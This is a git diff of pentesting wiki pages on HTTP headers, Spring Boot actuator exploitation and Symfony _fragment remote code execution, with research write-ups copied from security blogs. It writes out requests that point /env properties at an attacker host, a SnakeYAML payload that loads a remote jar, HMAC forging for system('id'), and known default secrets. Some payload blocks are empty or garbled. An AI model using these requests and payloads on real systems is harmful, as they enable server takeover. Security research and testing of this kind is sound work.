+[http-request-smuggling.md](../../pentesting-web/http-request-smuggling.md) +{% endcontent-ref %} ## Cache Headers @@ -52,10 +56,12 @@ A hop-by-hop header is a header which is designed to be processed and consumed b * **`X-Cache`** in the response may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached * **`Cache-Control`** indicates if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` -* **`Vary`** is often used in the response to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. +* **`Vary`** is often used in the response to **indicate additional headers** that are treated as** part of the cache key** even if they are normally unkeyed. * **`Age`** defines the times in seconds the object has been in the proxy cache. -{% page-ref page="../../pentesting-web/cache-deception.md" %} +{% content-ref url="../../pentesting-web/cache-deception.md" %} +[cache-deception.md](../../pentesting-web/cache-deception.md) +{% endcontent-ref %} **Local Cache headers**: @@ -67,8 +73,8 @@ A hop-by-hop header is a header which is designed to be processed and consumed b ## Conditionals * Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header**`Last-Modified`** contains a different time. -* Conditional requests using **`If-Match`** and **`If-None-Match`** use an Etag value so the web server will send the content of the response if the data \(Etag\) has changed. The `Etag` is taken from the HTTP response. - * The **Etag** value is usually **calculated based** on the **content** of the response. For example, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indicates that the `Etag` is the **Sha1** of **37 bytes**. +* Conditional requests using **`If-Match`** and **`If-None-Match`** use an Etag value so the web server will send the content of the response if the data (Etag) has changed. The `Etag` is taken from the HTTP response. + * The **Etag **value is usually **calculated based **on the **content **of the response. For example, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indicates that the `Etag` is the **Sha1 **of **37 bytes**. ## Range requests @@ -79,14 +85,14 @@ A hop-by-hop header is a header which is designed to be processed and consumed b ## Message body information -* **`Content-Length`:** The size of the resource, in decimal number of bytes. +* **`Content-Length`: **The size of the resource, in decimal number of bytes. * **`Content-Type`**: Indicates the media type of the resource * **`Content-Encoding`**: Used to specify the compression algorithm. -* **`Content-Language`**: Describes the human language\(s\) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language. +* **`Content-Language`**: Describes the human language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language. * **`Content-Location`**: Indicates an alternate location for the returned data. -From a pentest point of view this information is usually "useless", but if the resource is **protected** by a 401 or 403 and you can find some **way** to **get** this **info**, this could be **interesting.** -For example a combination of **`Range`** and **`Etag`** in a HEAD request can leak the content of the page via HEAD requests: +From a pentest point of view this information is usually "useless", but if the resource is **protected **by a 401 or 403 and you can find some **way **to **get **this **info**, this could be **interesting. **\ +****For example a combination of **`Range`** and **`Etag`** in a HEAD request can leak the content of the page via HEAD requests: * A request with the header `Range: bytes=20-20` and with a response containing `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` is leaking that the SHA1 of the byte 20 is `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` @@ -97,9 +103,9 @@ For example a combination of **`Range`** and **`Etag`** in a HEAD request can le ## Controls -* **`Allow`:** Lists the set of methods supported by a resource. `Allow: GET, POST, HEAD` +* **`Allow`: **Lists the set of methods supported by a resource. `Allow: GET, POST, HEAD` * **`Expect`**: The **`Expect`** HTTP request header indicates expectations that need to be fulfilled by the server in order to properly handle the request. - * No other expectations except `Expect: 100-continue` are specified currently. Informs recipients that the client is about to send a \(presumably large\) message body in this request and wishes to receive a [`100`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/100) \(Continue\) interim response. + * No other expectations except `Expect: 100-continue` are specified currently. Informs recipients that the client is about to send a (presumably large) message body in this request and wishes to receive a [`100`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/100) (Continue) interim response. ## Downloads @@ -109,4 +115,3 @@ For example a combination of **`Range`** and **`Etag`** in a HEAD request can le ## Resources * [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers) - diff --git a/pentesting/pentesting-web/spring-actuators.md b/pentesting/pentesting-web/spring-actuators.md index 10b96252..5def19dc 100644 --- a/pentesting/pentesting-web/spring-actuators.md +++ b/pentesting/pentesting-web/spring-actuators.md @@ -1,17 +1,17 @@ # Spring Actuators -**Page copied from** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)\*\*\*\* +**Page copied from **[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)**** ## Exploiting Spring Boot Actuators The Spring Boot Framework includes a number of features called actuators to help you monitor and manage your web application when you push it to production. Intended to be used for auditing, health, and metrics gathering, they can also open a hidden door to your server when misconfigured. -When a Spring Boot application is running, it automatically registers several endpoints \(such as '/health', '/trace', '/beans', '/env' etc\) into the routing process. For Spring Boot 1 - 1.4, they are accessible without authentication, causing significant problems with security. Starting with Spring version 1.5, all endpoints apart from '/health' and '/info' are considered sensitive and secured by default, but this security is often disabled by the application developers. +When a Spring Boot application is running, it automatically registers several endpoints (such as '/health', '/trace', '/beans', '/env' etc) into the routing process. For Spring Boot 1 - 1.4, they are accessible without authentication, causing significant problems with security. Starting with Spring version 1.5, all endpoints apart from '/health' and '/info' are considered sensitive and secured by default, but this security is often disabled by the application developers. The following Actuator endpoints could potentially have security implications leading to possible vulnerabilities: -* /dump - displays a dump of threads \(including a stack trace\) -* /trace - displays the last several HTTP messages \(which could include session identifiers\) +* /dump - displays a dump of threads (including a stack trace) +* /trace - displays the last several HTTP messages (which could include session identifiers) * /logfile - outputs the contents of the log file * /shutdown - shuts the application down * /mappings - shows all of the MVC controller mappings @@ -39,27 +39,27 @@ The '**reloadByURL**' action, provided by the Logback library, allows us to relo So, why should we care about logging config? Mainly because of two things: 1. Config has an XML format, and of course, Logback parses it with External Entities enabled, hence it is vulnerable to blind XXE. -2. The Logback config has the feature ['Obtaining variables from JNDI'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI). In the XML file, we can include a tag like '**<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />**' and the name attribute will be passed to the DirContext.lookup\(\) method. If we can supply an arbitrary name into the .lookup\(\) function, we don't even need XXE or HeapDump because it gives us a full **Remote Code Execution**. +2. The Logback config has the feature ['Obtaining variables from JNDI'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI). In the XML file, we can include a tag like '**\**' and the name attribute will be passed to the DirContext.lookup() method. If we can supply an arbitrary name into the .lookup() function, we don't even need XXE or HeapDump because it gives us a full **Remote Code Execution**. **How it works:** -1. An attacker requests the aforementioned URL to execute the 'reloadByURL' function, provided by the 'qos.logback.classic.jmx.JMXConfigurator' class. +1\. An attacker requests the aforementioned URL to execute the 'reloadByURL' function, provided by the 'qos.logback.classic.jmx.JMXConfigurator' class. -2. The 'reloadByURL' function downloads a new config from [http://artsploit.com/logback.xml](http://artsploit.com/logback.xml) and parses it as a Logback config. This malicious config should have the following content: +2\. The 'reloadByURL' function downloads a new config from [http://artsploit.com/logback.xml](http://artsploit.com/logback.xml) and parses it as a Logback config. This malicious config should have the following content: -```text +``` ``` -3. When this file is parsed on the vulnerable server, it creates a connection to the attacker-controlled LDAP server specified in the “env-entry-name” parameter value, which leads to JNDI resolution. The malicious LDAP server may return an object with 'Reference' type to trigger an **execution of the supplied bytecode** on the target application. JNDI attacks are well explained in this [MicroFocus research paper](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf). The [new JNDI exploitation technique](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) \(described previously in our blog\) also works here, as Tomcat is the default application server in the Spring Boot Framework. +3\. When this file is parsed on the vulnerable server, it creates a connection to the attacker-controlled LDAP server specified in the “env-entry-name” parameter value, which leads to JNDI resolution. The malicious LDAP server may return an object with 'Reference' type to trigger an **execution of the supplied bytecode** on the target application. JNDI attacks are well explained in this [MicroFocus research paper](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf). The [new JNDI exploitation technique](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) (described previously in our blog) also works here, as Tomcat is the default application server in the Spring Boot Framework. **2. Config modification via '/env'** If Spring Cloud Libraries are in the classpath, the **'/env'** endpoint allows you to modify the Spring environmental properties. All beans annotated as '**@ConfigurationProperties**' may be modified and rebinded. Many, but not all, properties we can control are listed on the '/configprops' actuator endpoint. Actually, there are tons of them, but it is absolutely not clear what we need to modify to achieve something. After spending a couple of days playing with them we found this: -```text +``` POST /env HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/x-www-form-urlencoded @@ -68,7 +68,7 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -This property modifies the Eureka serviceURL to an arbitrary value. Eureka Server is normally used as a discovery server, and almost all Spring Cloud applications register at it and send status updates to it. If you are lucky to have Eureka-Client <1.8.7 in the target classpath \(it is normally included in Spring Cloud Netflix\), you can exploit the **XStream deserialization vulnerability** in it. All you need to do is to set the 'eureka.client.serviceUrl.defaultZone' property to your server URL \( [http://artsploit.com/n/xstream](http://artsploit.com/n/xstream)\) via '/env' and then call '/refresh' endpoint. After that, your server should serve the XStream payload with the following content: +This property modifies the Eureka serviceURL to an arbitrary value. Eureka Server is normally used as a discovery server, and almost all Spring Cloud applications register at it and send status updates to it. If you are lucky to have Eureka-Client <1.8.7 in the target classpath (it is normally included in Spring Cloud Netflix), you can exploit the **XStream deserialization vulnerability** in it. All you need to do is to set the 'eureka.client.serviceUrl.defaultZone' property to your server URL ( [http://artsploit.com/n/xstream](http://artsploit.com/n/xstream)) via '/env' and then call '/refresh' endpoint. After that, your server should serve the XStream payload with the following content: ```markup @@ -110,7 +110,7 @@ This property modifies the Eureka serviceURL to an arbitrary value. Eureka Serve ``` -This XStream payload is a slightly modified version of the ImageIO JDK-only gadget chain from the [Marshalsec research](https://github.com/mbechler/marshalsec). The only difference here is using **LinkedHashSet** to trigger the 'jdk.nashorn.internal.objects.NativeString.hashCode\(\)' method. The original payload leverages java.lang.Map to achieve the same behaviour, but Eureka's XStream configuration has a [custom converter for maps](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58) which makes it unusable. The payload above does not use Maps at all and can be used to achieve Remote Code Execution without additional constraints. +This XStream payload is a slightly modified version of the ImageIO JDK-only gadget chain from the [Marshalsec research](https://github.com/mbechler/marshalsec). The only difference here is using **LinkedHashSet** to trigger the 'jdk.nashorn.internal.objects.NativeString.hashCode()' method. The original payload leverages java.lang.Map to achieve the same behaviour, but Eureka's XStream configuration has a [custom converter for maps](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58) which makes it unusable. The payload above does not use Maps at all and can be used to achieve Remote Code Execution without additional constraints. Using Spring Actuators, you can actually exploit this vulnerability even if you don't have access to an internal Eureka server; you only need an "/env" endpoint available. @@ -132,23 +132,23 @@ The trick we can use here is to increase the number of simultaneous connections Apart from that, there are other properties that look interesting, but, in practice, are not really useful: -**spring.datasource.url** - database connection string \(used only for the first connection\) +**spring.datasource.url** - database connection string (used only for the first connection) -**spring.datasource.jndiName** - databases JNDI string \(used only for the first connection\) +**spring.datasource.jndiName** - databases JNDI string (used only for the first connection) -**spring.datasource.tomcat.dataSourceJNDI** - databases JNDI string \(not used at all\) +**spring.datasource.tomcat.dataSourceJNDI** - databases JNDI string (not used at all) -**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators#) - spring cloud config url \(does not have any effect after app start, only the initial values are used.\) +**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators#) - spring cloud config url (does not have any effect after app start, only the initial values are used.) These properties do not have any effect unless the '/restart' endpoint is called. This endpoint restarts all ApplicationContext but its disabled by default. There are a lot of other interesting properties, but most of them do not take immediate effect after change. -**N.B.** In Spring Boot 2x, the request format for modifying properties via the '/env' endpoint is slightly different \(it uses json format instead\), but the idea is the same. +**N.B.** In Spring Boot 2x, the request format for modifying properties via the '/env' endpoint is slightly different (it uses json format instead), but the idea is the same. **An example of the vulnerable app:** -If you want to test this vulnerability locally, I created a [simple Spring Boot application on my Github page](https://github.com/artsploit/actuator-testbed). All payloads should work there, except for database settings \(unless you configure it\). +If you want to test this vulnerability locally, I created a [simple Spring Boot application on my Github page](https://github.com/artsploit/actuator-testbed). All payloads should work there, except for database settings (unless you configure it). **Black box discovery:** @@ -158,7 +158,7 @@ A full list of default actuators may be found here: [https://github.com/artsploi There is a more reliable way to achieve RCE via a Spring environmental properties modification: -```text +``` POST /env HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/x-www-form-urlencoded @@ -169,16 +169,16 @@ spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml This request modifies the 'spring.cloud.bootstrap.location' property, which is used to load external config and parse it in YAML format. To make this happen, we also need to call the '/refresh' endpoint. -```text +``` POST /refresh HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` -When the YAML config is fetched from the remote server, it is parsed with the SnakeYAML library, which is also susceptible to deserialization attacks. The payload \(yaml-payload.yml\) may be generated by using the aforementioned Marshalsec research : +When the YAML config is fetched from the remote server, it is parsed with the SnakeYAML library, which is also susceptible to deserialization attacks. The payload (yaml-payload.yml) may be generated by using the aforementioned Marshalsec research : -```text +``` !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://artsploit.com/yaml-payload.jar"] @@ -186,9 +186,9 @@ When the YAML config is fetched from the remote server, it is parsed with the Sn ] ``` -Deserialization of this file triggers execution of the ScriptEngineManager's constructor with the supplied URLClassLoader. In a nutshell, it leads to the **'java.util.ServiceLoader\#load\(java.lang.Class<S>, java.lang.ClassLoader\)'** method, which tries to find all implementations of the 'ScriptEngineFactory' interface within all libraries in the classpath. Since we can add a new library via URLClassLoader, we can serve a new 'ScriptEngineFactory' with the malicious bytecode inside. In order to do so, we need to create a jar archive with the following mandatory files: [yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java) should contain the actual bytecode, with the malicious payload in the constructor. +Deserialization of this file triggers execution of the ScriptEngineManager's constructor with the supplied URLClassLoader. In a nutshell, it leads to the **'java.util.ServiceLoader#load(java.lang.Class\, java.lang.ClassLoader)'** method, which tries to find all implementations of the 'ScriptEngineFactory' interface within all libraries in the classpath. Since we can add a new library via URLClassLoader, we can serve a new 'ScriptEngineFactory' with the malicious bytecode inside. In order to do so, we need to create a jar archive with the following mandatory files: [yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java) should contain the actual bytecode, with the malicious payload in the constructor. -```text +``` public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { @@ -206,4 +206,3 @@ public class AwesomeScriptEngineFactory implements ScriptEngineFactory { ## Env + H2 RCE See this page to find how to exploit the /env + H2 combination: [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) - diff --git a/pentesting/pentesting-web/symphony.md b/pentesting/pentesting-web/symphony.md index 08660f54..99e6d2d7 100644 --- a/pentesting/pentesting-web/symphony.md +++ b/pentesting/pentesting-web/symphony.md @@ -1,12 +1,12 @@ # Symphony -**This page was copied from** [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)\*\*\*\* +**This page was copied from **[**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)**** -## Introduction +## Introduction -Since its creation in 2008, the use of the [Symfony](https://symfony.com/) framework has been growing more and more in PHP based applications. It is now a core component of many well known CMSs, such as [Drupal](https://www.drupal.org/), [Joomla!](https://www.joomla.org/), [eZPlatform](https://ezplatform.com/) \(formerly eZPublish\), or [Bolt](https://bolt.cm/), and is often used to build custom websites. +Since its creation in 2008, the use of the [Symfony](https://symfony.com) framework has been growing more and more in PHP based applications. It is now a core component of many well known CMSs, such as [Drupal](https://www.drupal.org), [Joomla!](https://www.joomla.org), [eZPlatform](https://ezplatform.com) (formerly eZPublish), or [Bolt](https://bolt.cm), and is often used to build custom websites. -One of Symfony's built-in features, made to handle [ESI \(Edge-Side Includes\)](https://en.wikipedia.org/wiki/Edge_Side_Includes), is the [`FragmentListener` class](https://github.com/symfony/symfony/blob/5.1/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php). Essentially, when someone issues a request to `/_fragment`, this listener sets request attributes from given GET parameters. Since this allows to **run arbitrary PHP code** \(_more on this later_\), the request has to be signed using a HMAC value. This HMAC's secret cryptographic key is stored under a Symfony configuration value named `secret`. +One of Symfony's built-in features, made to handle [ESI (Edge-Side Includes)](https://en.wikipedia.org/wiki/Edge_Side_Includes), is the [`FragmentListener` class](https://github.com/symfony/symfony/blob/5.1/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php). Essentially, when someone issues a request to `/_fragment`, this listener sets request attributes from given GET parameters. Since this allows to **run arbitrary PHP code** (_more on this later_), the request has to be signed using a HMAC value. This HMAC's secret cryptographic key is stored under a Symfony configuration value named `secret`. This configuration value, `secret`, is also used, for instance, to build CSRF tokens and remember-me tokens. Given its importance, this value must obviously be very random. @@ -14,21 +14,21 @@ Unfortunately, we discovered that oftentimes, the secret either has a **default Although this may seem like a begnin configuration issue, we have found that default, bruteforceable or guessable values are **very, very often present** in the mentioned CMSs as well as in custom applications. This is mainly due to not putting enough emphasis on its importance in the documentation or installation guides. -Furthermore, an attacker can escalate less-impactful vulnerabilities to either read the `secret` \(through a file disclosure\), bypass the `/_fragment` signature process \(using an SSRF\), and even leak it through `phpinfo()` ! +Furthermore, an attacker can escalate less-impactful vulnerabilities to either read the `secret` (through a file disclosure), bypass the `/_fragment` signature process (using an SSRF), and even leak it through `phpinfo()` ! In this blogpost, we'll describe how the secret can be obtained in various CMSs and on the base framework, and how to get code execution using said secret. -## A little bit of history +## A little bit of history Being a modern framework, Symfony has had to deal with generating sub-parts of a request from its creation to our times. Before `/_fragment`, there was `/_internal` and `/_proxy`, which did essentially the same thing. It produced a lot of vulnerabilities through the years: [CVE-2012-6432](https://symfony.com/blog/security-release-symfony-2-0-20-and-2-1-5-released#cve-2012-6432-code-execution-vulnerability-via-the-internal-routes), [CVE-2014-5245](https://symfony.com/blog/cve-2014-5245-direct-access-of-esi-urls-behind-a-trusted-proxy), and [CVE-2015-4050](https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access), for instance. -Since Symfony 4, the secret is generated on installation, and the `/_fragment` page is disabled by default. One would think, therefore, that the conjunction of both having a weak `secret`, and enabled `/_fragment`, would be rare. It is not: many frameworks rely on old Symfony versions \(even 2.x is very present still\), and implement either a static `secret` value, or generate it poorly. Furthermore, many rely on ESI and as such enable the `/_fragment` page. Also, as we'll see, other lower-impact vulnerabilities can allow to dump the secret, even if it has been securely generated. +Since Symfony 4, the secret is generated on installation, and the `/_fragment` page is disabled by default. One would think, therefore, that the conjunction of both having a weak `secret`, and enabled `/_fragment`, would be rare. It is not: many frameworks rely on old Symfony versions (even 2.x is very present still), and implement either a static `secret` value, or generate it poorly. Furthermore, many rely on ESI and as such enable the `/_fragment` page. Also, as we'll see, other lower-impact vulnerabilities can allow to dump the secret, even if it has been securely generated. -## Executing code with the help of `secret` +## Executing code with the help of `secret` We'll first demonstrate how an attacker, having knowledge of the `secret` configuration value, can obtain code execution. This is done for the last `symfony/http-kernel` version, but is similar for other versions. -### Using `/_fragment` to run arbitrary code +### Using `/_fragment` to run arbitrary code As mentioned before, we will make use of the `/_fragment` page. @@ -67,9 +67,9 @@ class FragmentListener implements EventSubscriberInterface } ``` -`FragmentListener:onKernelRequest` will be run on every request: if the request's path is `/_fragment` \[1\], the method will first check that the request is valid \(_i.e._ properly signed\), and raise an exception otherwise \[2\]. If the security checks succeed, it will parse the url-encoded `_path` parameter, and set `$request` attributes accordingly. +`FragmentListener:onKernelRequest` will be run on every request: if the request's path is `/_fragment` \[1], the method will first check that the request is valid (_i.e._ properly signed), and raise an exception otherwise \[2]. If the security checks succeed, it will parse the url-encoded `_path` parameter, and set `$request` attributes accordingly. -Request attributes are not to be mixed up with HTTP request parameters: they are internal values, maintained by Symfony, that usually cannot be specified by a user. One of these request attributes is `_controller`, which specifies which Symfony controller \(a _\(class, method\)_ tuple, or simply a _function_\) is to be called. Attributes whose name does not start with `_` are arguments that are going to be fed to the controller. For instance, if we wished to call this method: +Request attributes are not to be mixed up with HTTP request parameters: they are internal values, maintained by Symfony, that usually cannot be specified by a user. One of these request attributes is `_controller`, which specifies which Symfony controller (a _(class, method)_ tuple, or simply a _function_) is to be called. Attributes whose name does not start with `_` are arguments that are going to be fed to the controller. For instance, if we wished to call this method: ```php class SomeClass @@ -97,7 +97,7 @@ _Calling system won't work every time: refer to the Exploit section for greater One problem remains: how does Symfony verify the signature of the request? -### Signing the URL +### Signing the URL To verify the signature of an URL, an HMAC is computed against the _full_ URL. The obtained hash is then compared to the one specified by the user. @@ -188,13 +188,13 @@ class UriSigner } ``` -In short, Symfony extracts the `_hash` GET parameter, then reconstructs the full URL, for instance `https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...`, computes an HMAC from this URL using the `secret` as key \[1\], and compares it to the given hash value \[2\]. If they don't match, a `AccessDeniedHttpException` exception is raised \[3\], resulting in a `403` error. +In short, Symfony extracts the `_hash` GET parameter, then reconstructs the full URL, for instance `https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...`, computes an HMAC from this URL using the `secret` as key \[1], and compares it to the given hash value \[2]. If they don't match, a `AccessDeniedHttpException` exception is raised \[3], resulting in a `403` error. -### Example +### Example -To test this, let's setup a test environment, and extract the secret \(in this case, randomly generated\). +To test this, let's setup a test environment, and extract the secret (in this case, randomly generated). -```text +``` $ git clone https://github.com/symfony/skeleton.git $ cd skeleton $ composer install @@ -207,7 +207,7 @@ $ php -S 0:8000 Now, visiting `http://localhost:8000/_fragment` yields a `403`. Let's now try and provide a valid signature: -```text +``` $ python -c "import base64, hmac, hashlib; print(base64.b64encode(hmac.HMAC(b'50c8215b436ebfcc1d568effb624a40e', b'http://localhost:8000/_fragment', hashlib.sha256).digest()))" b'lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm/cmFOh8=' ``` @@ -216,7 +216,7 @@ By checking out `http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j Since we can call any method, with any argument, we can for instance pick `system($command, $return_value)`, and provide a payload like so: -```text +``` $ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull" $ python -c "import base64, hmac, hashlib; print(base64.b64encode(hmac.HMAC(b'50c8215b436ebfcc1d568effb624a40e', b'$page', hashlib.sha256).digest()))" b'GFhQ4Hr1LIA8mO1M/qSfwQaSM8xQj35vPhyrF3hvQyI=' @@ -230,15 +230,15 @@ _RCE using fragment_ ![1](https://www.ambionics.io/images/symfony-secret-fragment/1.png) -## Finding secrets +## Finding secrets Again: all of this would not matter if secrets were not obtainable. Oftentimes, they are. We'll describe several ways of getting code execution without any prior knowledge. -### Through vulnerabilities +### Through vulnerabilities Let's start with the obvious: using lower-impact vulnerabilities to obtain the secret. -#### File read +#### File read Evidently, a file read vulnerability could be used to read the following files, and obtain `secret`: @@ -247,19 +247,19 @@ Evidently, a file read vulnerability could be used to read the following files, _As an example, some Symfony debug toolbars allow you to read files._ -#### PHPinfo +#### PHPinfo -On recent symfony versions \(3.x\), `secret` is stored in `.env` as `APP_SECRET`. Since it is then imported as an environment variable, they can be seen through a `phpinfo()` page. +On recent symfony versions (3.x), `secret` is stored in `.env` as `APP_SECRET`. Since it is then imported as an environment variable, they can be seen through a `phpinfo()` page. -_Leaking APP\_SECRET through phpinfo_ +_Leaking APP_SECRET through phpinfo_ ![2](https://www.ambionics.io/images/symfony-secret-fragment/2.png) This can most notably be done through Symfony's profiler package, as demonstrated by the screenshot. -#### SSRF / IP spoofing \(CVE-2014-5245\) +#### SSRF / IP spoofing (CVE-2014-5245) -The code behind `FragmentListener` has evolved through the years: up to version _2.5.3_, when the request came from a trusted proxy \(read: `localhost`\), it would be considered safe, and as such the hash would not be checked. An SSRF, for instance, can allow to immediately run code, regardless of having `secret` or not. This notably affects eZPublish up to 2014.7. +The code behind `FragmentListener` has evolved through the years: up to version _2.5.3_, when the request came from a trusted proxy (read: `localhost`), it would be considered safe, and as such the hash would not be checked. An SSRF, for instance, can allow to immediately run code, regardless of having `secret` or not. This notably affects eZPublish up to 2014.7. ```php # ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php @@ -298,9 +298,9 @@ class FragmentListener implements EventSubscriberInterface Admittedly, all of those techniques require another vulnerability. Let's dive into an even better vector: default values. -### Through default values +### Through default values -#### Symfony <= 3.4.43: `ThisTokenIsNotSoSecretChangeIt` +#### Symfony <= 3.4.43: `ThisTokenIsNotSoSecretChangeIt` When setting up a Symfony website, the first step is to install the [symfony-standard](https://github.com/symfony/symfony-standard) skeleton. When installed, a prompt asks for some configuration values. By default, the key is `ThisTokenIsNotSoSecretChangeIt`. @@ -308,21 +308,21 @@ _Installation of Symfony through composer_ ![3](https://www.ambionics.io/images/symfony-secret-fragment/3.png) -On later versions \(4+\), the secret key is generated securely. +On later versions (4+), the secret key is generated securely. -#### ezPlatform 3.x \(latest\): `ff6dc61a329dc96652bb092ec58981f7` +#### ezPlatform 3.x (latest): `ff6dc61a329dc96652bb092ec58981f7` -[ezPlatform](https://ezplatform.com/), the successor of [ezPublish](https://en.wikipedia.org/wiki/EZ_Publish), still uses Symfony. On Jun 10, 2019, a [commit](https://github.com/ezsystems/ezplatform/commit/974f2a70d9d0507ba7ca17226693b1a4967f23cf#diff-f579cccc964135c7d644c7b2d3b0d3ecR59) set the default key to `ff6dc61a329dc96652bb092ec58981f7`. Vulnerable versions range from 3.0-alpha1 to 3.1.1 \(current\). +[ezPlatform](https://ezplatform.com), the successor of [ezPublish](https://en.wikipedia.org/wiki/EZ_Publish), still uses Symfony. On Jun 10, 2019, a [commit](https://github.com/ezsystems/ezplatform/commit/974f2a70d9d0507ba7ca17226693b1a4967f23cf#diff-f579cccc964135c7d644c7b2d3b0d3ecR59) set the default key to `ff6dc61a329dc96652bb092ec58981f7`. Vulnerable versions range from 3.0-alpha1 to 3.1.1 (current). Although the [documentation](https://doc.ezplatform.com/en/latest/getting_started/install_ez_platform/#change-installation-parameters) states that the secret should be changed, it is not enforced. -#### ezPlatform 2.x: `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt` +#### ezPlatform 2.x: `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt` Like Symfony's skeleton, you will be prompted to enter a secret during the installation. The default value is `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`. -#### Bolt CMS <= 3.7 \(latest\): `md5(__DIR__)` +#### Bolt CMS <= 3.7 (latest): `md5(__DIR__)` -[Bolt CMS](https://bolt.cm/) uses [Silex](https://github.com/silexphp/Silex), a deprecated micro-framework based on Symfony. It sets up the secret key using this computation: +[Bolt CMS](https://bolt.cm) uses [Silex](https://github.com/silexphp/Silex), a deprecated micro-framework based on Symfony. It sets up the secret key using this computation: ```php # ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php @@ -336,9 +336,9 @@ As such, one can guess the secret, or use a Full Path Disclosure vulnerability t If you did not succeed with default secret keys, do not despair: there are other ways. -### Bruteforce +### Bruteforce -Since the secret is often set manually \(as opposed to generated randomly\), people will often use a passphrase instead of a secure random value, which makes it bruteforceable if we have a hash to bruteforce it against. Obviously, a valid `/_fragment` URL, such as one generated by Symfony, would provide us a valid message-hash tuple to bruteforce the secret. +Since the secret is often set manually (as opposed to generated randomly), people will often use a passphrase instead of a secure random value, which makes it bruteforceable if we have a hash to bruteforce it against. Obviously, a valid `/_fragment` URL, such as one generated by Symfony, would provide us a valid message-hash tuple to bruteforce the secret. _A valid request to fragment is included in the response_ @@ -348,11 +348,11 @@ At the beginning of this blogpost, we said that Symfony's secret had several use _The reverse engineering of the construction of those tokens is left as an exercise to the reader._ -### Going further: eZPublish +### Going further: eZPublish As an example to how secrets can be bruteforced in order to achieve code execution, we'll see how we can find out eZPublish 2014.07's secret. -#### Finding bruteforce material +#### Finding bruteforce material eZPublish generates its CSRF tokens like this: @@ -361,7 +361,7 @@ eZPublish generates its CSRF tokens like this: self::$token = sha1( self::getSecret() . self::getIntention() . session_id() ); ``` -To build this token, eZP uses two values we know, and the secret: `getIntention()` is the action the user is attempting \(`authenticate` for instance\), `session_id()` is the PHP session ID, and `getSecret()`, well, is Symfony's `secret`. +To build this token, eZP uses two values we know, and the secret: `getIntention()` is the action the user is attempting (`authenticate` for instance), `session_id()` is the PHP session ID, and `getSecret()`, well, is Symfony's `secret`. Since CSRF tokens can be found on some forms, we now have the material to bruteforce the secret. @@ -376,7 +376,7 @@ private function generateRandomSecret() } ``` -This looks really hard to bruteforce: `mt_rand()` can yield 231 different values, and `uniqid()` is built from the current timestamp \(with microseconds\). +This looks really hard to bruteforce: `mt_rand()` can yield 231 different values, and `uniqid()` is built from the current timestamp (with microseconds). ```php // Simplified uniqid code @@ -386,11 +386,11 @@ 